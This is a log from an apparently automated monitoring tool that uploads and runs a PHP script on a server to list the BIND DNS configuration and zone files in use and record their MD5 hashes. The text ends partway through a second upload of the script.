MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:52:56: Establishing a connection
2026-04-25 18:52:56: 

PUT: /tmp/pkp958139

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:52:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp958139; rm /tmp/pkp958139'

2026-04-25 18:52:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:19:34: Establishing a connection
2026-04-25 19:19:34: 

PUT: /tmp/pkp689544

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
